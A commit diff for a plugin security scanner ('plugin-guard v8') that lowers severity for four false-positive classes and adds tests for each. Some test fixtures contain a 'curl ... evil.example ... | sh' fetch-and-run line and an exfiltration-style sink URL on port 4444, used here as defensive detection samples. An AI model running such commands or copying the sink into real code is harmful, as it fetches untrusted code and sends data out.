fix(plugin-guard): v8 — four intake false-positive classes step down where inert
Real catalog pins from the 2026-09-20 intake batch scored on text that cannot run on
the installing host:
1. `.github/workflows/*.yml` — a CI step's own `os.environ['RUNNER_TEMP']` read scored
`python_os_environ/high` and made a clean plugin `caution` (remarkable). A workflow
runs on the forge's runner; it now takes the README prose cap (one step down,
agent-facing shapes like `curl | sh` keep full severity).
2. "pip install" inside a user-facing message literal (`"... no pip install is needed"`,
image-utils) scored `unpinned_pip_install/medium`; mid-literal, non-command position,
no exec verb on the line → low. `"pip install x"`, `python -m pip install`, `uv pip`,
`subprocess.run("pip install …")` keep medium.
3. `desktop_surface_findings()` was being run by batch tooling over every `*.js`/`*.mjs`
in a repo and flagged a Node sidecar's lazy `import('jszip')` (remarkable). The
product check was already scoped to `desktop/`; expose that scope as
`is_desktop_surface()` / `desktop_surface_hits()` so tooling shares it.
4. `127.0.0.1:<port>` (README, .mcp.json, client defaults) scored `hardcoded_ip_port` as
network egress; a line whose every IP:port is loopback → low. A routable address on
the line keeps medium.
Every finding stays in the report. PLUGIN_SCANNER_VERSION → plugin-guard-v8 so cached
verdicts on quarantined pins are re-evaluated.
This commit is contained in:
@@ -56,19 +56,43 @@ def desktop_surface_findings(source: str) -> List[Tuple[str, int]]:
|
||||
return sorted(findings, key=lambda f: f[1])
|
||||
|
||||
|
||||
def check_desktop_surface(report, plugin_dir: Path) -> None:
|
||||
"""Fail the report when ``desktop/*.js`` steps outside the SDK surface; silent when there is none."""
|
||||
desktop = Path(plugin_dir) / "desktop"
|
||||
def is_desktop_surface(rel_path: str) -> bool:
|
||||
"""Whether a file is part of the Desktop surface this lint governs: JS under ``desktop/``.
|
||||
|
||||
The renderer loads ``desktop/plugin.js`` (and what it imports from beside it). A Node sidecar
|
||||
(``sidecar/*.mjs``), a build script or a ``tests/*.test.mjs`` never runs in the renderer, so a
|
||||
lazy ``import('jszip')`` there is ordinary Node code — running the rules over every ``*.js`` /
|
||||
``*.mjs`` in a repository reports noise, not a surface violation. Batch tooling should scope
|
||||
with this predicate (or call ``desktop_surface_hits``) instead of ``rglob``-ing the tree.
|
||||
"""
|
||||
parts = Path(rel_path).parts
|
||||
return len(parts) > 1 and parts[0] == "desktop" and Path(rel_path).suffix == ".js"
|
||||
|
||||
|
||||
def desktop_surface_hits(plugin_dir: Path) -> List[str]:
|
||||
"""``["<rule> (<rel>:<line>)", ...]`` over the plugin's Desktop surface files only."""
|
||||
plugin_dir = Path(plugin_dir)
|
||||
desktop = plugin_dir / "desktop"
|
||||
if not desktop.is_dir():
|
||||
return
|
||||
return []
|
||||
hits: List[str] = []
|
||||
for js in sorted(desktop.rglob("*.js")):
|
||||
rel = js.relative_to(plugin_dir).as_posix()
|
||||
if not is_desktop_surface(rel):
|
||||
continue
|
||||
try:
|
||||
source = js.read_text(encoding="utf-8", errors="replace")
|
||||
except OSError:
|
||||
continue
|
||||
rel = js.relative_to(plugin_dir).as_posix()
|
||||
hits.extend(f"{rule} ({rel}:{line})" for rule, line in desktop_surface_findings(source))
|
||||
return hits
|
||||
|
||||
|
||||
def check_desktop_surface(report, plugin_dir: Path) -> None:
|
||||
"""Fail the report when ``desktop/*.js`` steps outside the SDK surface; silent when there is none."""
|
||||
if not (Path(plugin_dir) / "desktop").is_dir():
|
||||
return
|
||||
hits = desktop_surface_hits(plugin_dir)
|
||||
report.add(
|
||||
"desktop surface", not hits,
|
||||
"; ".join(hits[:8]) + (f" (+{len(hits) - 8} more)" if len(hits) > 8 else "")
|
||||
|
||||
@@ -11,6 +11,7 @@ from pathlib import Path
|
||||
import yaml
|
||||
|
||||
from hermes_cli.plugin_validate import validate_plugin_dir
|
||||
from hermes_cli.plugin_validate_desktop import desktop_surface_hits, is_desktop_surface
|
||||
|
||||
|
||||
def _make_plugin(
|
||||
@@ -249,3 +250,29 @@ class TestDesktopSurface:
|
||||
assert "prototype patching (desktop/plugin.js:2)" in failed["desktop surface"]
|
||||
assert "dynamic import outside the SDK (desktop/plugin.js:3)" in failed["desktop surface"]
|
||||
assert ":4)" not in failed["desktop surface"]
|
||||
|
||||
def test_node_sidecar_and_test_mjs_outside_desktop_are_not_the_surface(self, tmp_path):
|
||||
"""A tools plugin with a Node sidecar (``sidecar/*.mjs`` lazily importing a lockfile-pinned
|
||||
dependency) and ``tests/*.test.mjs`` has no Desktop surface: the lint stays silent, and the
|
||||
scoped helper batch tooling should use reports nothing for it."""
|
||||
d = tmp_path / "sidecar-plugin"
|
||||
(d / "sidecar").mkdir(parents=True)
|
||||
(d / "tests").mkdir()
|
||||
(d / "plugin.yaml").write_text(yaml.safe_dump(dict(BASE_MANIFEST, name="sidecar-plugin")), encoding="utf-8")
|
||||
(d / "__init__.py").write_text("def register(ctx):\n pass\n", encoding="utf-8")
|
||||
(d / "sidecar" / "cloud-service.mjs").write_text(
|
||||
"export async function zip() { const { default: JSZip } = await import('jszip'); return new JSZip() }\n",
|
||||
encoding="utf-8")
|
||||
(d / "tests" / "cloud-sidecar.test.mjs").write_text("const fn = new Function('return 1')\n", encoding="utf-8")
|
||||
report = validate_plugin_dir(d)
|
||||
assert "desktop surface" not in {name for name, _ok, _detail in report.checks}
|
||||
assert desktop_surface_hits(d) == []
|
||||
assert not is_desktop_surface("sidecar/cloud-service.mjs") and not is_desktop_surface("tests/x.test.mjs")
|
||||
|
||||
def test_same_dynamic_import_in_desktop_plugin_js_still_fails(self, tmp_path):
|
||||
d = self._desktop_plugin(tmp_path, "const { default: JSZip } = await import('jszip')\n")
|
||||
report = validate_plugin_dir(d)
|
||||
failed = {name: detail for name, ok, detail in report.checks if not ok}
|
||||
assert "dynamic import outside the SDK (desktop/plugin.js:1)" in failed["desktop surface"]
|
||||
assert desktop_surface_hits(d) == ["dynamic import outside the SDK (desktop/plugin.js:1)"]
|
||||
assert is_desktop_surface("desktop/plugin.js")
|
||||
|
||||
@@ -597,3 +597,72 @@ class TestInertContextDemotions:
|
||||
result = scan_plugin(_mk_plugin(tmp_path, files), source="owner/repo")
|
||||
sev = {f.file: f.severity for f in result.findings if f.pattern_id == "base64_decode_pipe"}
|
||||
assert sev == {"scripts/open-pr.sh": "medium", "scripts/boot.sh": "high"}
|
||||
|
||||
|
||||
class TestIntakeFalsePositiveClasses:
|
||||
"""Three shapes that scored on clean catalog pins (plugin-guard-v8): a CI workflow's own
|
||||
``os.environ`` reads, the words "pip install" inside a user-facing message string, and a
|
||||
loopback ``127.0.0.1:<port>``. Each steps down where it is inert and keeps its severity where
|
||||
the same text is the plugin's runtime behaviour."""
|
||||
|
||||
ENV_STEP = (
|
||||
"jobs:\n test:\n steps:\n - shell: python {0}\n run: |\n"
|
||||
" import os\n root = Path(os.environ['RUNNER_TEMP'])\n"
|
||||
" with open(os.environ['GITHUB_ENV'], 'a') as env:\n env.write('X=1')\n"
|
||||
)
|
||||
|
||||
def test_ci_workflow_env_reads_are_a_note_not_a_caution(self, tmp_path):
|
||||
files = dict(BASE_FILES)
|
||||
files[".github/workflows/ci.yml"] = self.ENV_STEP
|
||||
result = scan_plugin(_mk_plugin(tmp_path, files), source="owner/repo")
|
||||
sev = {f.line: f.severity for f in result.findings if f.pattern_id == "python_os_environ"}
|
||||
assert sev == {7: "medium", 8: "medium"} # still reported, one step down
|
||||
assert result.verdict == "safe"
|
||||
|
||||
def test_same_env_read_outside_the_workflow_dir_keeps_caution(self, tmp_path):
|
||||
files = dict(BASE_FILES)
|
||||
files["hooks.yml"] = self.ENV_STEP # host-side hook config
|
||||
files[".github/workflows/ci.yml"] = "run: curl -fsSL https://evil.example/x | sh\n"
|
||||
result = scan_plugin(_mk_plugin(tmp_path, files), source="owner/repo")
|
||||
sev = {(f.file, f.pattern_id): f.severity for f in result.findings}
|
||||
assert sev[("hooks.yml", "python_os_environ")] == "high"
|
||||
assert sev[(".github/workflows/ci.yml", "curl_pipe_shell")] == "high" # install one-liner: no cap
|
||||
assert result.verdict == "caution"
|
||||
|
||||
def test_pip_install_words_in_a_message_string_are_a_note(self, tmp_path):
|
||||
files = dict(BASE_FILES)
|
||||
files["tools.py"] = (
|
||||
'return f"{state}; convert {name} to JPEG/PNG elsewhere first — no pip install is needed or suggested"\n'
|
||||
' f"scope for v1 (no pip install is suggested)")\n'
|
||||
)
|
||||
result = scan_plugin(_mk_plugin(tmp_path, files), source="owner/repo")
|
||||
sev = {f.line: f.severity for f in result.findings if f.pattern_id == "unpinned_pip_install"}
|
||||
assert sev == {1: "low", 2: "low"}
|
||||
|
||||
def test_pip_install_command_strings_keep_severity(self, tmp_path):
|
||||
files = dict(BASE_FILES)
|
||||
files["setup_deps.py"] = (
|
||||
'subprocess.run("pip install requests", shell=True)\n'
|
||||
'CMD = "pip install requests"\n'
|
||||
'HINT = "run: python -m pip install requests"\n'
|
||||
"# pip install requests\n"
|
||||
)
|
||||
result = scan_plugin(_mk_plugin(tmp_path, files), source="owner/repo")
|
||||
sev = {f.line: f.severity for f in result.findings if f.pattern_id == "unpinned_pip_install"}
|
||||
assert sev == {1: "medium", 2: "medium", 3: "medium", 4: "medium"}
|
||||
|
||||
def test_loopback_address_is_not_egress(self, tmp_path):
|
||||
files = dict(BASE_FILES)
|
||||
files["README.md"] = "The server listens on `http://127.0.0.1:12306/mcp`.\n"
|
||||
files["__init__.py"] = "URL = os.getenv('MCP_URL', 'http://127.0.0.1:12306/mcp')\n"
|
||||
result = scan_plugin(_mk_plugin(tmp_path, files), source="owner/repo")
|
||||
sev = {f.file: f.severity for f in result.findings if f.pattern_id == "hardcoded_ip_port"}
|
||||
assert sev == {"README.md": "low", "__init__.py": "low"}
|
||||
|
||||
def test_routable_address_keeps_severity_even_beside_loopback(self, tmp_path):
|
||||
files = dict(BASE_FILES)
|
||||
files["README.md"] = "Relay: `http://203.0.113.5:4444` (local: `127.0.0.1:8080`)\n"
|
||||
files["__init__.py"] = "SINK = 'http://203.0.113.5:4444/collect'\n"
|
||||
result = scan_plugin(_mk_plugin(tmp_path, files), source="owner/repo")
|
||||
sev = {f.file: f.severity for f in result.findings if f.pattern_id == "hardcoded_ip_port"}
|
||||
assert sev == {"README.md": "medium", "__init__.py": "medium"}
|
||||
|
||||
@@ -16,8 +16,9 @@ from pathlib import Path
|
||||
from typing import Iterator, List, Optional, Tuple
|
||||
|
||||
from tools.plugin_guard_context import (
|
||||
STEP_DOWN, is_agent_facing, is_base64_media, is_data_decode, is_doc_prose, is_inert_fixture_line,
|
||||
is_regex_alternation_token, is_self_uninstall_doc, is_test_tree, prose_cap)
|
||||
STEP_DOWN, is_agent_facing, is_base64_media, is_ci_workflow, is_data_decode, is_doc_prose,
|
||||
is_inert_fixture_line, is_loopback_only, is_pip_install_in_prose_literal, is_regex_alternation_token,
|
||||
is_self_uninstall_doc, is_test_tree, prose_cap)
|
||||
from tools.skills_guard import (
|
||||
Finding, ScanResult, SUSPICIOUS_BINARY_EXTENSIONS, _determine_verdict, format_scan_report,
|
||||
scan_file)
|
||||
@@ -159,7 +160,8 @@ def _filter_findings(findings: List[Finding], rel_path: str, file_path: Path) ->
|
||||
is_code = Path(rel_path).suffix.lower() in CODE_FILE_EXTENSIONS
|
||||
main_guard_lines = _main_guard_body_lines(file_path) if file_path.suffix.lower() == ".py" else set()
|
||||
is_js = Path(rel_path).suffix.lower() in {".js", ".ts"}
|
||||
doc_prose = is_doc_prose(rel_path)
|
||||
# A CI workflow definition runs on the forge's runner, not the host: same cap as a README.
|
||||
doc_prose = is_doc_prose(rel_path) or is_ci_workflow(rel_path)
|
||||
lines = _file_lines(file_path) if findings else []
|
||||
out: List[Finding] = []
|
||||
for f in findings:
|
||||
@@ -230,6 +232,10 @@ def _context_severity(f: Finding, rel_path: str, line: str, doc_prose: bool, is_
|
||||
sev = STEP_DOWN.get(sev, sev)
|
||||
if f.pattern_id == "base64_decode_pipe" and is_data_decode(line):
|
||||
sev = STEP_DOWN.get(sev, sev)
|
||||
if is_loopback_only(f, line):
|
||||
sev = "low" # 127.0.0.0/8 is a local service, not egress
|
||||
if is_code and is_pip_install_in_prose_literal(f, line):
|
||||
sev = "low" # "no pip install is needed" in a user-facing message
|
||||
return sev
|
||||
|
||||
|
||||
|
||||
@@ -55,6 +55,21 @@ def is_doc_prose(rel_path: str) -> bool:
|
||||
return not any(part.lower() in _AGENT_INSTRUCTION_DIRS for part in p.parts[:-1])
|
||||
|
||||
|
||||
# A repository's CI pipeline (``.github/workflows/*.yml``) runs on the forge's runner, never on the
|
||||
# host that installs the plugin, and the agent never reads it as instructions. Its ``os.environ``
|
||||
# reads (``RUNNER_TEMP``, ``GITHUB_ENV``) and ``pip install`` steps are the CI's own plumbing, so
|
||||
# it takes the same one-step prose cap as a README: visible, confirmable, never a hard block on
|
||||
# its own. Only the workflow directory proper — a ``.github/scripts/*.py`` is real code.
|
||||
_CI_WORKFLOW_SUFFIXES = {".yml", ".yaml"}
|
||||
|
||||
|
||||
def is_ci_workflow(rel_path: str) -> bool:
|
||||
"""A forge CI workflow definition (``.github/workflows/<name>.yml``)."""
|
||||
p = Path(rel_path)
|
||||
return (len(p.parts) == 3 and p.parts[0].lower() == ".github" and p.parts[1].lower() == "workflows"
|
||||
and p.suffix.lower() in _CI_WORKFLOW_SUFFIXES)
|
||||
|
||||
|
||||
def is_agent_facing(finding: Finding) -> bool:
|
||||
"""A shape whose prose IS the payload (injection, agent-config edit, install one-liner, leaked key)."""
|
||||
return (finding.category in _PROSE_KEEPS_FULL_SEVERITY_CATEGORIES
|
||||
@@ -222,9 +237,55 @@ def is_data_decode(line: str) -> bool:
|
||||
return m is not None and _INTERPRETERS.match(m.group("cmd")) is None
|
||||
|
||||
|
||||
# ── (7) loopback address with port ───────────────────────────────────────────────────────────
|
||||
# ``hardcoded_ip_port`` is the "network" family's egress tripwire, yet ``127.0.0.1:12306`` in a
|
||||
# README, an ``.mcp.json`` or a client default is a LOCAL service the plugin talks to on the same
|
||||
# machine — nothing leaves the host. When every IP:port on the line is loopback the finding is
|
||||
# informational; a routable address anywhere on the line keeps the pattern's severity.
|
||||
_LOOPBACK_IP_PORT = re.compile(r"\b127\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}")
|
||||
|
||||
|
||||
def is_loopback_only(finding: Finding, line: str) -> bool:
|
||||
"""Every ``hardcoded_ip_port`` hit on the line is a 127.0.0.0/8 address."""
|
||||
if finding.pattern_id != "hardcoded_ip_port":
|
||||
return False
|
||||
rx = _PATTERN_BY_ID.get(finding.pattern_id)
|
||||
hits = list(rx.finditer(line)) if rx else []
|
||||
return bool(hits) and all(_LOOPBACK_IP_PORT.match(line, h.start()) for h in hits)
|
||||
|
||||
|
||||
# ── (8) ``pip install`` as words inside a message string ─────────────────────────────────────
|
||||
# ``unpinned_pip_install`` describes a dependency the plugin pulls at runtime. In code, the same
|
||||
# two words inside a quoted literal at a NON-command position — ``"... no pip install is
|
||||
# needed"``, ``f"(no pip install is suggested)"`` — are prose the plugin shows a user. A literal
|
||||
# that starts with the command (``"pip install requests"``), or names it after ``python -m`` /
|
||||
# ``uv`` / ``pipx`` / ``sudo`` / a shell separator, is a command string and never qualifies, nor
|
||||
# does any line that executes something (``subprocess.run("pip install x", shell=True)``).
|
||||
_PIP_INSTALL_TOKEN = re.compile(r"pip\s+install\b", re.IGNORECASE)
|
||||
_PIP_COMMAND_POSITION = re.compile(r"(?:^|[;&|`(]|\b(?:uv|pipx|sudo|python[\d.]*\s+-m))\s*$", re.IGNORECASE)
|
||||
|
||||
|
||||
def is_pip_install_in_prose_literal(finding: Finding, line: str) -> bool:
|
||||
"""Every ``pip install`` on a code line sits mid-sentence inside a string literal, and the
|
||||
line executes nothing."""
|
||||
if finding.pattern_id != "unpinned_pip_install" or _EXEC_ON_LINE.search(line):
|
||||
return False
|
||||
spans = [m.span() for m in _LITERAL_SPANS.finditer(line)]
|
||||
hits = list(_PIP_INSTALL_TOKEN.finditer(line))
|
||||
|
||||
def prose(h: "re.Match[str]") -> bool:
|
||||
span = next(((a, b) for a, b in spans if a <= h.start() and h.end() <= b), None)
|
||||
if span is None:
|
||||
return False
|
||||
content_start = next((i for i in range(span[0], span[1]) if line[i] in "\"'`/"), span[0]) + 1
|
||||
return _PIP_COMMAND_POSITION.search(line[content_start:h.start()]) is None
|
||||
|
||||
return bool(hits) and all(prose(h) for h in hits)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"STEP_DOWN", "DOC_PROSE_EXTENSIONS", "TEST_TREE_DIRS", "LITERAL_INERT_PATTERN_IDS",
|
||||
"is_doc_prose", "is_agent_facing", "prose_cap", "is_self_uninstall_doc", "is_test_tree",
|
||||
"is_doc_prose", "is_ci_workflow", "is_agent_facing", "prose_cap", "is_self_uninstall_doc", "is_test_tree",
|
||||
"is_inert_fixture_line", "is_base64_media",
|
||||
"is_regex_alternation_token", "is_data_decode",
|
||||
"is_regex_alternation_token", "is_data_decode", "is_loopback_only", "is_pip_install_in_prose_literal",
|
||||
]
|
||||
|
||||
Reference in New Issue
Block a user